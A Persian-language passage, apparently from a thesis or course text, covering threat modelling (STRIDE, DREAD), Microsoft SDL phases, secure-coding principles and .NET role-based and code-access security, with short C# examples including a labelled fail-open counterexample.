 عدمبرنامه نیاز به کنترل که آیا بگیرید در نظر بنابراین،  .زیاد تراکنش باید از دست رفته تلقی شود

  .بازرسی در هر لایه دارد یا خیرسی وب و مسیرهای دسترلاگ انکار، مانند 

 ( افشای اطلاعاتInformation Disclosure)  اطلاعات خصوصی جزییات ارسال نگران کاربران

ا به ناشناس و ی های کاربر، چهعمومی داده فاش کردنمهاجم امکان  یک اگر به یک سیستم هستند.

را داشته باشد، این مساله باعث از بین رفتن اعتماد و از دست رفتن شهرت  عنوان یک کاربر مجاز

 کاریدستیری از های کاربردی باید دربردارنده کنترل قوی برای جلوگبنابراین، برنامه .خواهد شد
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واحد برای اجرای کل  ییک زمینهاز  هاآناز شناسه کاربر باشند، به خصوص اگر  سواستفادهو 

 کنند.برنامه استفاده می

 انکار خدم( تDenial of Service ) هایشان ممکن است طراحان برنامه باید آگاه باشند که برنامه

های بزرگ، مانند فایل پرهزینهبنابراین، استفاده از منابع  باشد. انکار خدمت یحملهدر معرض 

 و ،های طولانی باید برای کاربران معتبر و مجازوجورسپمحاسبات پیییده، جستجوهای سنگین، یا 

 رزرو شده باشد.، نه کاربران ناشناس

هر جنبه از برنامه باید به منظور جلوگیری از حملات ساده انکار خدمت، ، کاربردیهای برای برنامه

 دادهپایگاهسریع و معدود های وجوپرساز ، مهندسی شود تا کمترین کار ممکن را انجام دهد

 .های بزرگ و پیوندهای منحصر بفرد به ازای هر کاربر خودداری کندفایل ارایهاستفاده کند و از 

 ارتقاء امتیازات (Elevation of Privilege) های مدیریتی متمایز کاربران و نقش یاگر یک برنامه

به یک امتیاز بالاتر ترفیع  نقش خود را تواند، باید اطمینان حاصل کند که کاربر نمیکندفراهم می

عوض همه عملیات باید از  ها کافی نیست. درهای امتیاز دار به نقشفقط عدم نمایش لینک .دهد

های مجاز قادر به دسترسی به یک ماتریس حقوق دسترسی بگذرند تا تضمین شود که نقش

 عملکردهای خاص هستند.

 DREADمدل  3-3-1-3-۲

DREAD برای هر  های پیداشدهبندی تعداد ریسکو اولویتمقایسه بندی برای شمارش، شمای طبقه یک

 تهدید ارزیابی شده است.

به صورت  چنینهمگذارد و تفکر در مورد تنظیم نرخ ریسک تاثیر می یروی نحوه DREADسازی مدل

که در زیر نشان داده شده است برای  DREADرود. الگوریتم ها به کار میسازی ریسکمستقیم برای مرتب

 رود که میانگین همه پنج رده است.محاسبه ارزش ریسک به کار می

Risk_DREAD =  
(DAMAGE+REPRODUCIBILITY+EXPLOITABILITY+AFFECTED_USERS+DISCOVERABILITY) / 5 

 تر است. کند. هر چه این عدد بیشتر باشد ریسک جدیاین محاسبه همیشه عددی بین صفر و ده ایجاد می

 یهای از نحوهکدام از طبقات زیر ساخته شده است. در اینجا مثالاز حروف اول هر  DREAD یکلمه

 ایم:آورده DREADهای شمارش رده

 ( پتانسیل خرابیDamage Potentialاگر یک تهد :)آورد:ید عملی شود، چقدر خرابی به بار می 
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o صفر=هیچ خرابی. 

o 5پذیردشود یا تاثیر میهای یک کاربر منفرد فاش می= داده. 

o 10ها= تخریب کل سیستم یا داده. 

 ( قابلیت تکرارReproducibilityسادگی تکرار یک تهدید چقدر است؟ :) 

o 0  ،کاربردی یبرای مدیران برنامهحتی = خیلی مشکل یا غیرممکن. 

o 5  است، ممکن است نیاز به یک کاربر مجاز باشد موردنیاز= یک یا دو گام. 

o 10 راز هویتح= فقط یک مرورگر وب و نوار آدرس کافی است، بدون ا. 

 قابلیت بهره( برداریExploitabilityبرای بهره :) است؟ موردنیازبرداری از یک تهدید چه چیزی 

o 0 استفاده از ابزار سفارشی یا پیشرفته حملهدانش شبکهنویسی پیشرفته و = برنامه ، 

o 5  بدافزار روی اینترنت وجود دارد یا یک تهدید با استفاده از ابزارهای حمله موجود به =

 شود.سادگی عملی می

o 10 فقط یک مرورگر وب = 

 ( کاربران متاثرAffected Usersچه تعداد از کاربران تاثیر می :)پذیرند؟ 

o 0 هییکدام = 

o 5  هاآن= برخی از کاربران، نه همه 

o 10 همه کاربران = 

 ( قابلیت کشفDiscoverabilityسادگی کشف این تهدید چقدر است؟ :) 

o 0 خیلی مشکل یا غیرممکن. نیاز به کد برنامه یا دسترسی مدیریتی است =. 

o 5 های شبکه پیدا کردهرا با حدس زدن یا نظارت بر رد توان آن= می. 

o ۹  مشکلاتی نظیر این در دسترس عموم قرار دارد و با استفاده از موتورهای = جزییات

 جستجو به راحتی قابل کشف است.

o 10 .اطلاعات در نوار آدرس مرورگر وب یا در یک فرم قابل مشاهده است = 

شود، در نظر گرفته می 10کاربردی موجود، قابلیت کشف معمولا  ی: هنگام بررسی امنیتی یک برنامهنکته

 شود که مشکلات امنیتی کشف خواهند شد.ون فرض میچ
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 سازیفاز سه: پیاده 

اول اهمیت قرار دارد. در این فاز شما  یافزار شما در درجهسازی جایی است که کاربر نهایی نرمفاز پیاده

افزار نرمگیری در مورد چگونگی استقرار امن تصمیمبرای  کارخواهکنید که مستندات و ابزاری را ایجاد می

سازی برای تشخیص و حذف سازی زمانی است که شما بهترین تجربیات پیادهبرد. فاز پیادهشما به کار می

 کنید.مسالل امنیتی و حریم خصوصی را ایجاد می

و استقرار امن باشد. با این حال افراد به  فرضپیشافزار باید از نظر طراحی، تنظیمات هر انتشار از نرم

کنند. شما برنامه استفاده نمی فرضپیشکنند و همه از تنظیمات ها استفاده میوناگونی از برنامههای گصورت

باید به کاربران به اندازه کافی اطلاعات امنیتی بدهید که بتوانند درباره چگونگی استقرار امن برنامه تصمیمات 

 آگاهانه بگیرند.

 پیشنهادهای امنیتي:

کاربری باید جلساتی برگزار کنند تا اطلاعاتی را که کاربران باید  یهای تجربهتیم تیم تولید، مدیریت برنامه و

 آن بحث کنند.  یافزار داشته باشند، شناسایی و دربارهبرای استفاده امن از نرم

های تجربه کاربری باید یک طرح برای ایجاد مستندات امنیتی کاربری ایجاد کنند. این طرح باید تیم

های امنیتی برنامه به کاربر به صورت ها و نیازهای پرسنلی را در بر بگیرد. منتقل کردن جنبهیریزبرنامه

 پذیری کد برنامه و عملکرد آن اهمیت دارد.واضح و دقیق به اندازه تضمین عدم آسیب

نگام هایی که کاربران همشکلات و چالش یهای موجود، نظرات را دربارهبرای انتشارهای جدید از برنامه

 کنید. آوریجمعاند، های قبلی داشتهسازی نسخهامن

یا  محصول و فرضپیشهای امن را به صورت جداگانه یا به عنوان بخشی از مستندات اطلاعات پیکربندی

 کنید.  ارایههای کمک فایل

 فاز چهار: وارسي 

 ،ایدزهای قبلی ایجاد کردهکنید که کد شما اصول امنیتی را که در فادر طول فاز وارسی، شما تضمین می

شود. بررسی کند. این از طریق آزمون امنیتی و حریم خصوصی و یک بررسی امنیتی انجام میرعایت می

های مدل تهدید، مرور کد، آزمون و مرور مستندات و ویرایش آن امنیتی یک تمرکز تیمی روی به روزرسانی

 شود.ل این فاز کامل میاست. یک مرور حریم خصوصی انتشار عمومی نیز در طو
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 :گیردمیآزمون امنیتی دو حیطه از مسالل را در بر

 افزار. این حیطه شامل های مورد پردازش نرمافزار و دادهپذیری نرممحرمانگی، جامعیت و دسترس

شده برای کاهش تهدیدهایی است که در مدل تهدید توصیف طراحیتمام امکانات و عملکرد 

 اند.شده

 های امنیتی بشوند. مثلا یک سرریز بافر در پذیریساللی که ممکن است منجر به آسیبعدم وجود م

کند ممکن است به نحوی از آن استفاده شود که مشکلات امنیتی ایجاد ها را تجزیه میکد که داده

 کند.

 فاز پنج: انتشار  

عبارت دیگر شما خود و تیمتان را کنید یا به افزار را برای مصرف عمومی آماده میدر فاز انتشار شما نرم

کنید. یکی از مفاهیم اساسی افتد آماده میافزار شما در دستان کاربر اتفاق میچه که با قرار گرفتن نرمبرای آن

پذیری امنیتی یا حریم خصوصی در فاز انتشار طراحی یک طرح از عملیات برای زمانی است که یک آسیب

 اینجا یک مرور نهایی امنیتی و مرور حریم خصوص قبل از انتشار لازم است.افزار شما کشف شود. تا در نرم

را برای هر  SDLقبل از هر انتشار عمومی )شامل انتشارهای تستی آلفا و بتا( پرسشنامه حریم خصوصی 

سازی ایجاد شده است، پر کنید. تغییرات مهم شامل نمایش تغییر حریم خصوصی مهمی که در وارسی پیاده

 کهاینشود. با وجود ای متفاوت و تغییر زیاد در متن یک اطلاعیه میآوری انواع دادهرفتار جدید، جمع

دیریت شوند، نیازی به مدیریت های حریم خصوصی باید قبل از هر انتشار عمومی کد منیازمندی

های امنیتی قبل از انتشار عمومی نیست. با این حال شما باید یک مرور نهایی امنیتی را قبل از انتشار نیازمندی

 نهایی کامل کنید.

 : پاسخSDLنیازمندی پس از  

پذیری امنیتی به هر آسیب دهیپاس افزاری، تیم تولید محصول باید برای نرم یپس از انتشار یک برنامه

. به علاوه یک طرح پاس  ایجاد در دسترس باشد که نیاز به یک پاس  دارد، ممکن یا مساله حریم خصوصی

 سازی برای مسالل بالقوه پس از انتشار باشد.کنید که شامل آماده

 قواعد کدنویسي امن 4-۲

 به صورت زیر برشمرد: توانمیقواعد امنیتی برای کدنویسی امن را 
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 ساندن سطح حملهبه حداقل ر 

  های امنفرضپیشایجاد 

 قانون حداقل امتیاز 

 قانون دفاع در عمق 

 شکست امن 

 هاعدم اعتماد به سرویس 

 جداسازی وظایف 

 خودداری از امنیت بر مبنای ابهام 

 اصلاح درست مشکلات امنیتی 

 به حداقل رساندن سطح حمله 1-4-۲

کند. ها را به کل برنامه اضافه میای از ریسکعهشود، مجموکاربردی اضافه می یهر امکانی که به یک برنامه

 هدف تولید امن کاهش ریسک کلی با کاهش سطح حمله است. 

کند. سازی مییک راهنمای برخط با امکان جستجو پیاده وبتحتبه عنوان مثال یک برنامه کاربردی 

مکان راهنما محدود به پذیر باشد. اگر اآسیب SQLعملکرد جستجو ممکن است در برابر حملات تزریق 

های مرکزی یابد. اگر عملکرد جستجوی امکان راهنما از روتینکاربران مجاز باشد، احتمال حمله کاهش می

با این حال اگر امکان  یابد.به طور قابل توجهی کاهش می SQLاعتبارسنجی داده بگذرد، امکان انجام تزریق 

راهنما بازنویسی شود تا عملکرد جستجو حذف شود )مثلا از طریق یک واسط کاربری بهتر(، این کار تقریبا 

 برد حتی اگر امکان راهنما از طریق اینترنت در دسترس همگان قرار بگیرد.سطح حمله را از بین می

 های امنفرضپیشایجاد  ۲-4-۲

این تجربه  فرضپیشهای زیادی برای انتقال یک تجربه به کاربران وجود دارد. با این حال به صورت روش

 باید امن باشد و خود کاربران در صورتی که مجاز باشند باید امنیت خودشان را کاهش دهند.

پیییده باید فعال  عبورهای کلمهای و عبور به صورت دورهی کلمهتغییر  فرضپیشبه عنوان مثال به صورت 

باشد. کاربران ممکن است مجاز باشند که این دو امکان را غیرفعال کنند تا استفاده از برنامه کاربردی برای 

 آسان باشد و ریسک خود را افزایش بدهند. هاآن
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 قانون حداقل امتیاز 3-4-۲

شان جرای فرایندهای تجاریها حداقل مقدار امتیاز لازم برای اکند که حسابقانون حداقل امتیاز پیشنهاد می

، حافظه، شبکه و CPUهای این شامل حقوق کاربران، مجوزهای منابع نظیر محدودیترا داشته باشند. 

 شود.مجوزهای سیستم فایل می

و توانایی  دادهپایگاهافزار فقط نیاز به دسترسی به شبکه، دسترسی خواندن از میانبرای مثال یک کارگزار 

 افزار امتیازات مدیریتی داده شود.میانلاگ را دارد. تحت هیچ شرایطی نباید به این  یک فایلدر نوشتن 

 قانون دفاع در عمق 4-4-۲

بخشد. اگر ای امنیتی امنیت کل سیستم را بهبود میکند که یک مکانیزم لایهقانون دفاع در عمق پیشنهاد می

ای دیگر ممکن است هنوز امنیت لازم هیک حمله باعث شود که یک مکانیزم امنیتی شکست بخورد، مکانیزم

 برای حفاظت از سیستم را فراهم بکنند.

نام خیلی کم پذیری یک واسط کاربری مدیریتی دارای رخنه در برابر حملات بیبه عنوان مثال احتمال آسیب

های مدیریت محصول بگذراند، برای مجوز کاربری مدیریتی ها را به درستی از شبکهاست اگر دسترسی

 ها را ثبت کند.رسی کند و تمام دسترسیبر

 شکست امن 5-4-۲

تعیین  هاآنخورند. چگونگی شکست ها بنا به دلایل مختلف شکست میها عموما در پردازش تراکنشبرنامه

 کند که یک برنامه امن هست یا خیر.می

 برای مثال:

isAdmin = true; 

try { 

  codeWhichMayFail(); 

  isAdmin = isUserInRole( “Administrator” ); 

} 

catch (Exception ex) { 

  log.write(ex.toString()); 

} 

 فرضپیششکست بخورند، کاربر به صورت  isUserInRoleیا  ()codeWhichMayFailاگر هر کدام از 

 مدیر خواهد بود. این به وضوع یک ریسک امنیتی است.
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 هاعدم اعتماد به سرویس 6-4-۲

های کنند که ممکن است سیاستهای پردازشی همکاران خود استفاده میها از تواناییبسیاری از سازمان

را کنترل  شما بتوانید روی یک شخص ثالث تاثیر بگذارید یا آن کهاینحتمال اامنیتی متفاوتی داشته باشند. 

 کنندگان اصلی شما.مفراهبران خانگی باشند یا همکاران و رکا هاآنکنید خیلی کم است، چه 

های شوند تضمین شده نیست. با تمام سیستمهایی که در خارج اجرا میبنابراین اعتماد ضمنی به سیستم

 خارجی باید به یک صورت برخورد شود.

 جداسازی وظایف 7-4-۲

کند یک روش کلیدی کنترل تقلب جداسازی وظایف است. برای مثال کسی که یک کامپیوتر درخواست می

د این درخواست را تایید بکند و نباید به صورت مستقیم کامپیوتر را دریافت کند. این جلوی تواننمی

 .گیردرا میهرگز نرسیدند  هاآنکه و ادعای ایندرخواست یک کاربر برای تعداد زیادی کامپیوتر 

مدیران های خاص ممکن است سطوح اعتماد متفاوتی نسبت به کاربران عادی داشته باشند. به خصوص نقش

 با کاربران عادی متفاوت هستند. در حالت کلی مدیران نباید کاربران برنامه کاربردی باشند.

را تنظیم کند  ی عبورکلمهبرای مثال یک مدیر سیستم باید بتواند سیستم را خاموش یا روشن کند، سیاست 

ای که بتواند به جای شود به گونه ولی نباید بتواند به فروشگاه به عنوان یک کاربر با دسترسی ابرکاربر وارد

 کاربران دیگر کالا خریداری کند.

 خودداری از امنیت بر مبنای ابهام  8-4-۲

امنیت بر مبنای ابهام یک کنترل امنیتی ضعیف است و اگر تنها روش کنترل باشد تقریبا همیشه شکست 

های معناست که امنیت سیستم خورد. این به این معنی نیست که داشتن راز یک ایده بد است بلکه به اینمی

 کلیدی نباید بر مبنای مخفی نگهداشتن جزییات باشد.

برای مثال امنیت یک برنامه کاربردی نباید فقط مبتنی بر این باشد که کد منبع آن مخفی نگهداشته شده است. 

، دفاع در عبوری کلمههای منطقی امنیت باید به فاکتورهای بسیار دیگری وابسته باشد که شامل سیاست

شود. یک مثال عملی لینوکس های تجاری، معماری شبکه و کنترل تقلب میهای تراکنشعمق، محدودیت

 است. کد لینوکس در دسترس همگان وجود دارد ولی هنوز امن است.
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 اصلاح درست مشکلات امنیتي 9-4-۲

ای مساله شود و علت ریشهشود، مهم است که یک آزمون برای آن تولید وقتی یک مساله امنیتی شناسایی می

های کد مساله امنیتی در همه پایگاه کهاینشود، احتمال از الگوهای طراحی استفاده میدرک شود. وقتی 

 مناسب بدون ایجاد تغییرات زیاد لازم است. یوجود داشته باشد زیاد است، بنابرای تولید وصله

 هاآننس حساب یک کاربر دیگر را تغییر کوکی تواند بالابه عنوان مثال یک کاربر فهمیده است که می

ها به که کد مدیریت کوکی بین تمام برنامهرسد ولی از آنجاییمشاهده کند. رفع مشکل به نظر بدیهی می

های دیگر منتشر برنامه یکاربردی به همه یهماشتراک گذاشته شده است، یک تغییر در فقط یک برنا

 های متاثر بررسی شود.برنامه یهید در همشود. بنابراین این اصلاح بامی
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 نتامنیت چارچوب دات 3

 نتمعرفي چارچوب دات 1-3

 کینت از چارچوب دات فیاست. هر رد یمراتبو سلسله ایپیمانه ،ردیفینت به صورت دات یمعمار

سطح نوشته  نیسطح قرار دارند و کدها در ا نینت در بالاتردات یسینوبرنامه یهازبان است. انتزاعی یهیلا

 نیقرار دارد. ا عاملسیستم یبه زبان بوم کینزد فیرد نیترنییمشترک زمان اجرا در پا زبان شوند.یم

 طیمح یبا کارها کیمشترک زمان اجرا از نزد طیمح رایبرخوردار است ز ییبالا اریبس تیموضوع از اهم

 .رودیبه کار م یکاربرد یهابرنامه تیریمد یبرا عاملسیستم یاتیعمل

است که هر یک مسئولیت متمایز دارد و درخواست خدمات از  هاپیمانهاز  یانت مجموعهدات چارچوب

گو خواهند بود. طرح معماری پاس  ینییپا یهافیو رد شودیداده م نییپا یهافیبالا به رد فیرد

 نشان داده شده است. ریدر شکل ز نتداتچارچوب 

 

 نت: مروری بر معماری دات1-3شکل 
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 یکاربرد یهابرنامه یاجرا ،مشترک زمان اجرا زبان. یک محیط مدیریت شده است نتچارچوب دات

و  کندیم تیریدهد، حافظه و استثناها را مدیم ارایهبرنامه را  موردنیاز یو خدمات ضرور یرا بررس نتدات

 .شوندیاجرا م یها به خوببرنامه دهدکهیم نیتضم چنینهم

از یک محیط زمان اجرای مشترک نت دات یهازبان یعنینت است از اهداف دات یکیزبان  یهمکار تیقابل

 و مشترک یمدل مولفه، 1کتابخانه کلاس چارچوبکلاس کتابخانه مشترک(،  کیمشترک هنگام اجرا،  زبان)

 هاآن نیب که ف،یظر یهاتنت به جز تفاودر دات یسینوبرنامه یها. زبانکننداستفاده می مشترکانواع 

 مشابه است. یتجربه کی هاآناستفاده از هر کدام از  یبه طور کل یوجود دارد ول

 نتامنیت زمان اجرای دات ۲-3

 امنیت مبتني بر نقش 1-۲-3

مثال،  ی. برادنشویاستفاده مها به منظور اعمال سیاست تجاریو  یمال یکاربرد یهاها، اغلب در برنامهنقش

کاربران  ایآ کهاینبا توجه به  تراکنشدر اندازه و مقدار هایی را محدودیتبرنامه ممکن است  کی

پردازش ز به اممکن است مج ارمندان. کیک عضو از یک نقش خاص است اعمال کند کنندهدرخواست

سرپرست کارمندان ممکن است مقدار ی براحد آستانه خاص باشد،  کیباشند که کمتر از  هاییتراکنش

 تینداشته باشد(. امن یتیمحدود چیه ایبالاتر )و  یهایمعاون سازمان، دسترس و شده باشد نییتع یشتریب

 یک لیتکم یمتعدد برا یهاهیدییتابه  ازین افزارنرم کیاستفاده شود که  ید زمانتوانمی زین شبر نق یمبتن

درخواست  کید توانمیباشد که در آن هر کارمند  دیخر ستمیس کی یحالت ممکن است برا نیدارد. ا

کند  لیتبد دیسفارش خر کی هدرخواست را ب نیباشد که بتواند ا دیعامل خر کیداشته باشد، اما تنها  دیخر

 کننده فرستاده شود. نیتام کیو به 

 2شود( به ن  جاریمرتبط ساخته می هویت)که از  principalاطلاعات  ارایهنت با امنیت مبتنی بر نقش دات

 هویتتواند بر مبنای یک حساب کاربری ویندوز یا یک می هویتاین سازد. مجازشماری را ممکن می

های مجازشماری را توانند تصمیمنت میهای چارچوب داتسفارشی نامربوط به حساب ویندوز باشد. برنامه

                                                   

 

 

1 Library (FCL)Framework Class  

2 Current Thread 
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نامدار از  یدو بگیرند. یک نقش یک مجموعه یا هریا عضویت در یک نقش  principalهویت  بر اساس

principalدار(. یک هاست که از نظر امنیتی امتیازات یکسانی دارند )مانند یک مدیر یا یک تحویلprincipal 

 کهاینتوانند از عضویت در نقش برای تعیین ها میممکن است عضو یک یا چند نقش باشد. بنابراین برنامه

 وز انجام عمل درخواستی را دارد یا خیر استفاده کنند.مج principalیک 

کند که نیازمندی طیف وسیعی از می ارایهپذیر ای انعطافنت امنیت مبتنی بر نقش را به گونهچارچوب دات

های کاربردی امنیت مبتنی بر نقش به خصوص برای استفاده در برنامه کند.های کاربردی را برآورده میبرنامه

با این حال امنیت مبتنی بر  بسیار مناسب است.شوند، که روی کارگزار پردازش می ASP.NET وبتحت

 به کار برد. کارخواهتوان هم روی کارگزار و هم روی نقش را می

کشف کند که یک ارجاع  Principal شیرا از طریق  principalتواند هویت یا نقش یک شده میمدیریتکد 

تواند با مفاهیمی شناخته شده نظیر کاربر و گروه می principalهویت و  اشیامقایسه دارد.  Identity شیبه 

که ها هستند، درحالیافراد و برنامه یهای کاربری نمایندهحساب ،مفید باشد. در یک محیط شبکه

 هستند. به طور هاآنهای خاصی از کاربران و مجوزهای تحت مالکیت رده یهای گروهی نمایندهحساب

ها و عضویت یها نمایندهکه نقشکاربران هستند، درحالی ینت نمایندههویت چارچوب دات اشیامشابه 

هویت و یک نقش  شیهر شامل یک  principal شینت، های امنیت هستند. در چارچوب داتزمینه

 دهند.وز میمج principalنت بر اساس هویت یا عضویت در نقش به یک های چارچوب داتشود. برنامهمی

 Windows Principal-امنیت مبتني بر نقش 

انجام  دیکد بارها و بارها با ایآ کهاینجود دارد بسته به و WindowsPrincipal شی کی جادیا یدو راه برا

بارها و  دیبار انجام دهد. اگر کد با کیآن را تنها  دیبا کهاین ایکند و  یبر نقش را بررس یمبتن یسنجاعتبار

 یسربار کمتر دیکه تول میکنیروش استفاده م نیبر نقش را انجام دهد، از اول یمبتن اعتبارسنجیبارها انجام 

 .میکنیاز روش دوم استفاده م باشد،بر نقش داشته  یمبتن یبه اعتبارسنج ازینباریککه کد فقط  یدارد. هنگام

 شودميکه بارها تکرار  اعتبارسنجي برای WindowsPrincipal شي ایجاد

 ویژگی ایستای توسط که AppDomain شی روی بر SetPrincipalPolicy تابع .1

AppDomain.CurrentDomain شود را فراخوانی و یک مقدار شمارش برگردانده می

PrincipalPolicy  توانندمیکه  باشددهنده نوع سیاست انتخاب شده مینشانکه به آن بفرستید 
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 زیر کد .را داشته باشند WindowsPrincipal و NoPrincipal، UnauthenticatedPrincipal مقادیر

 است. روش این دهندهنشان

AppDomain.CurrentDomain.SetPrincipalPolicy(PrincipalPolicy.WindowsPrincip

al); 

که  principalبرای بازیابی  Thread.CurrentPrincipalوقتی سیاست تنظیم شد از ویژگی ایستای  .2

گرداند از نوع گیرد استفاده کنید. چون مقداری که این ویژگی برمیکاربر فعلی ویندوز را در بر می

IPrincipal  است شما باید نتیجه را به یکWindowsPrincipal  شیتبدیل کنید. کد زیر یک 

WindowsPricipal  جدید با مقدارprincipal سازد:ن  جاری می 

WindowsPrincipal MyPrincipal = (WindowsPrincipal) 

Thread.CurrentPrincipal; 

آن استفاده  اعتبارسنجیهای مختلفی برای توانید از روشساخته شد، شما می principal شیوقتی  .3

 کنید.

 تکرار شودباریککه  ياعتبارسنج یبرا WindowsPrincipal شي جادیا

 WindowsIdentity.GetCurrentایستای تابع را با صدا زدن  WindowsIdentityجدید  شییک  .1

آن حساب را  ییک پرسش از حساب ویندوز جاری ایجاد کرده و اطلاعات درباره تابعبسازید. این 

را  سازد و آنمی WindowsIdentityجدید  شیدهد. کد زیر یک هویت جدید قرار می شیدر یک 

 کند:با کاربر احراز هویت شده جاری مقداردهی می

WindowsIdentity MyIdentity = WindowsIdentity.GetCurrent(); 

را که در گام قبل  WindowsIdentity شیبسازید و مقدار  WindowsPrincipakجدید  شییک  .2

 ساختید به آن ارسال کنید:

WindowsPrincipal MyPrincipal = new WindowsPrincipal(MyIdentity); 

آن استفاده  اعتبارسنجیهای مختلفی برای توانید از روشساخته شد، شما می principal شیوقتی  .3

 کنید. 

 GenericPrincipal-امنیت مبتني بر نقش 

طرح  کی جادیا یبرا GenericPrincipalکلاس  به همراه GenericIdentityاز کلاس  توانیدمیشما 

 .دیت استفاده کناس 2000 ندوزیو ای NT ندوزیو دامنه ، که مستقل ازمجازشماری

 :میدهیم انجامرا  ریمراحل ز  GenericPrincipalساختن  یبرا
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خواهید داشته باشد مقداردهی را با نامی که می جدید از کلاس هویت بسازید و آن ییک نمونه .1

مقداردهی  MyUserرا با نام  سازد و آنمی GenericIdentityجدید  شیاولیه کنید. کد زیر یک 

 کند.اولیه می

GenericIdentity MyIdentity = new GenericIdentity("MyUser"); 

که در  GenericIdentity شیبا  آن رابسازید و  GenericPrincipalجدید از کلاس  ییک نمونه .2

 principalهایی است که مرتبط با این نقش یها که نمایندهمرحله قبل ساختید و یک آرایه از رشته

 یکند که نمایندهها را توصیف میکد زیر یک آرایه از رشته یکنید. نمونه است، مقداردهی اولیه

توسط این رشته و  GenericPrincipalیک نقش مدیر و یک نقش کاربر هستند. سپس 

GenericIdentity شود:قبل مقداردهی اولیه می 

String[] MyStringArray = {"Manager", "Teller"}; 

GenericPrincipal MyPrincipal = new GenericPrincipal(MyIdentity, 

MyStringArray); 

این زمانی مناسب است که این به ن  جاری استفاده کنید.  principalاز کد زیر برای اتصال  .3

principal شما  یبایست چندین بار اعتبارسنجی شود، یا باید توسط کدهای دیگری که در برنامهمی

اعتبارسنجی شود. شما  PrincipalPermission شیشوند اعتبارسنجی شود و یا باید توسط اجرا می

 توانید اعتبارسنجی مبتنی بر نقش را بدون اتصال آن به ن  هم انجام دهید.می

Thread.CurrentPrincipal = MyPrincipal; 

 GenericIdentityو یک نمونه  GenericPrincipalیک نمونه از دهد که چگونه نمونه کد زیر نشان می

 دهد:را در کنسول نمایش می اشیابسازید. این کد مقادیر این 

using System; 

using System.Security.Principal; 

using System.Threading; 

 

public class Class1 

{ 

    public static int Main(string[] args) 

    { 

    // Create generic identity. 

    GenericIdentity MyIdentity = new GenericIdentity("MyIdentity"); 

 

    // Create generic principal. 

    String[] MyStringArray = {"Manager", "Teller"}; 

    GenericPrincipal MyPrincipal =  

        new GenericPrincipal(MyIdentity, MyStringArray); 

 

    // Attach the principal to the current thread. 

    // This is not required unless repeated validation must occur, 

    // other code in your application must validate, or the  

    // PrincipalPermisson object is used.  
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    Thread.CurrentPrincipal = MyPrincipal; 

 

    // Print values to the console. 

    String Name =  MyPrincipal.Identity.Name; 

    bool Auth =  MyPrincipal.Identity.IsAuthenticated;  

    bool IsInRole =  MyPrincipal.IsInRole("Manager"); 

 

    Console.WriteLine("The Name is: {0}", Name); 

    Console.WriteLine("The IsAuthenticated is: {0}", Auth); 

    Console.WriteLine("Is this a Manager? {0}", IsInRole); 

 

    return 0; 

    } 

} 

 خروجی مشابه زیر نمایش خواهد داد: ،هنگام اجرا، برنامه

The Name is: MyIdentity 

The IsAuthenticated is: True 

Is this a Manager? True 

 امنیت دسترسي به کد ۲-۲-3

شده حفاظت اتیبه منابع و عمل یمحدود کردن دسترس بهکمک  یبرا سمیمکان کی امنیت دسترسی به کد

 را برعهده دارد: ریز فینت وظادر دات امنیت دسترسی به کدباشد. یم

 م را تمختلف سیسبه منابع  یحق دسترس ینشان دهد چه کسان کهاین یمجوز را برا یمجموعه کی

 .کندمی تعریفدارند 

 دهد که مجوزی را که برای اجرا نیاز دارد درخواست کندبه کد امکان می.  

 نتیجه فقط  دهد تا از فرایند فراخواننده آن درخواست امضای دیجیتال کند دربه کد امکان می

 انی کنند.شده را فراخومحافظتفراخوانندگان از یک سازمان یا سایت خاص بتوانند کد 

 هایی را روی کد در زمان اجرا با مقایسه مجوزهای داده شده هر فراخواننده در پشته محدودیت

 فراخوانی با مجوزهایی که فراخوانندگان باید داشته باشند اعمال کند.

 یتیامن یهاستمیرا دارد، س اتیعمل کیانجام  ایمنبع و  کیبه  یدسترس یکد اجازه برا ایآ کهاین نییتع یبرا

هر درخواست  یمجوزها سهیو شروع به مقا کنندحرکت میدر زمان اجرا به پشته مراجعه کرده و در آن 

 کیدر پشته اجازه نداشته باشد،  فراخوانندهنه. اگر هر  ایدارد  اتیعمل نیا یبرا اجازه ایکه آ کنندمیدهنده 
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استفاده  1فریباز حملات  یریکمک و جلوگ یبرا یطراح نی. از اشودرد می یصادر و دسترس یتیاستثنا امن

کند و از آن برای انجام عملیات را فراخوانی میمطمین در آن یک کد کمتر مورد اعتماد یک کد ، که شودمی

خواهد  ریها در زمان اجرا بر عملکرد تاثدهندهمجوز از تمام درخواست استن. خوکندغیرمجاز استفاده می

 یضرور توسط کدهای کمتر مورد اعتماد از کد در مقابل حملات فریبکمک به محافظت  یگذاشت، اما برا

حال، شما  نی. با اکمتر در پشته حرکت کندکد  کاری کنید که دیتوانیعملکرد، شما م یسازنهیبه یاست. برا

 .دیاشب ایجاد نکرده یتیضعف امن کی دهیدمی را انجام رکا نیکه هر زمان شما ا دیمطمئن شو دیبا

کند که درخواست می A4در اسمبلی  تابعوقتی که یک دهنده حرکت در پشته است نشان ریشکل ز

 .را داشته باشد Pآن مجوز  یفراخواننده

 

 فراخواني ی: حرکت در پشته۲-3شکل 

 ۲مجزا یانباره 3-۲-3

با را  یمنیو ا جداییها است که داده یسازرهیذخ سمیمکان کی مجزا یانبارهدسکتاپ،  یهابرنامه یبرا

 یایمزا سازی. استانداردکندمیفراهم  برقراری ارتباط کد و داده ذخیره شدهاستاندارد های روش فیتعر

 فضای یکربندیپ یبرا مجزا یکار با انباره یبرا ی طراحی شدهابزارها توانند ازیم رانی. مددارد زین یگرید

 ،مجزا یانباره. با استفاده کنند ،استفاده نشده یهادادهو حذف  یتیامن یهااستیس تنظیم ،لیفاسازی ذخیره

                                                   

 

 

1 Luring Attack 

2 Isolated Storage 
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ها از دادهو  ستین ازین ستمیس لیامن در فا یهامکان برای مشخص کردنمنحصر به فرد  یرهایمس گرید

 شود.یمحافظت مدارند  مجزا یانبارهبه  یکه تنها دسترس گرید یکاربرد یهابرنامه

های داده موجود نیست. درعوض از کلاس x.8ی فروشگاه ویندوز هابرنامهمجزا برای  ی: انبارهنکته مهم

زمان اجرای ویندوز قرار دارد برای  APIکه در  Windows.Storageکاربردی در فضای نام  یبرنامه

 های محلی استفاده کنید.ها و فایلسازی دادهذخیره

سازی باید به دقت انتخاب کند، نام فایل و محل ذخیرهها را در یک فایل ذخیره میداده ،برنامهوقتی یک 

پذیری آن به حداقل برسد. های دیگر و آسیبسازی برای برنامهشود تا احتمال شناخته شدن محل ذخیره

برخوردهای  های موردی کهبدون وجود یک سیستم استاندارد برای مدیریت این مشکلات، ایجاد روش

 توانند پیییده باشد و نتیجه قابل اعتماد نیست. سازی را به حداقل برساند میذخیره

